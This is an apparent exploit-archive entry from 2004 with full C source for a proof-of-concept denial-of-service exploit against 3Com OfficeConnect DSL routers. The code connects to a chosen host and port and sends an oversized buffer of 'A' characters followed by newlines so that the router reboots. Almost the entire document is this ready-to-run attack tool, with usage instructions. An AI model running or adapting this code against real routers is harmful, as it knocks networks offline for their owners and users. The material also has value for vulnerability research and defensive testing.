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3com-DoS.c

3com-DoS.c
Posted Feb 23, 2004
Authored by Shaun Colley aka shaun2k2

Proof of concept DoS exploit for 3Com OfficeConnect DSL Routers. Successful exploitation of the vulnerability should cause the router to reboot.

tags | exploit, denial of service, proof of concept
SHA-256 | 254023ca8d4768c04c5c20cfa49d209a6bbc5b70b7a80ccd6bf8833bff56ebcb

3com-DoS.c

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/* 3com-DoS.c 
*
* PoC DoS exploit for 3Com OfficeConnect DSL Routers. This PoC exploit the
* vulnerability documented at: <http://www.securityfocus.com/bid/8248>,
* discovered by David F. Madrid.
*
* Successful exploitation of the vulnerability should cause the router to
* reboot. It is not believed that arbitrary code execution is possible -
* check advisory for more information.
*
* -shaun2k2
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
if(argc < 3) {
printf("3Com OfficeConnect DSL Router DoS exploit by shaun2k2 - <shaunige@yahoo.co.uk>\n\n");
printf("Usage: 3comDoS <3com_router> <port>\n");
exit(-1);
}

int sock;
char explbuf[521];
struct sockaddr_in dest;
struct hostent *he;

if((he = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve %s!\n", argv[1]);
exit(-1);
}

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}

printf("3Com OfficeConnect DSL Router DoS exploit by shaun2k2 - <shaunige@yahoo.co.uk>\n\n");

dest.sin_addr = *((struct in_addr *)he->h_addr);
dest.sin_port = htons(atoi(argv[2]));
dest.sin_family = AF_INET;

printf("[+] Crafting exploit buffer.\n");
memset(explbuf, 'A', 512);
memcpy(explbuf+512, "\n\n\n\n\n\n\n\n", 8);

if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) == -1) {
perror("connect()");
exit(-1);
}

printf("[+] Connected...Sending exploit buffer!\n");
send(sock, explbuf, strlen(explbuf), 0);
sleep(2);
close(sock);
printf("\n[+] Exploit buffer sent!\n");
return(0);
}
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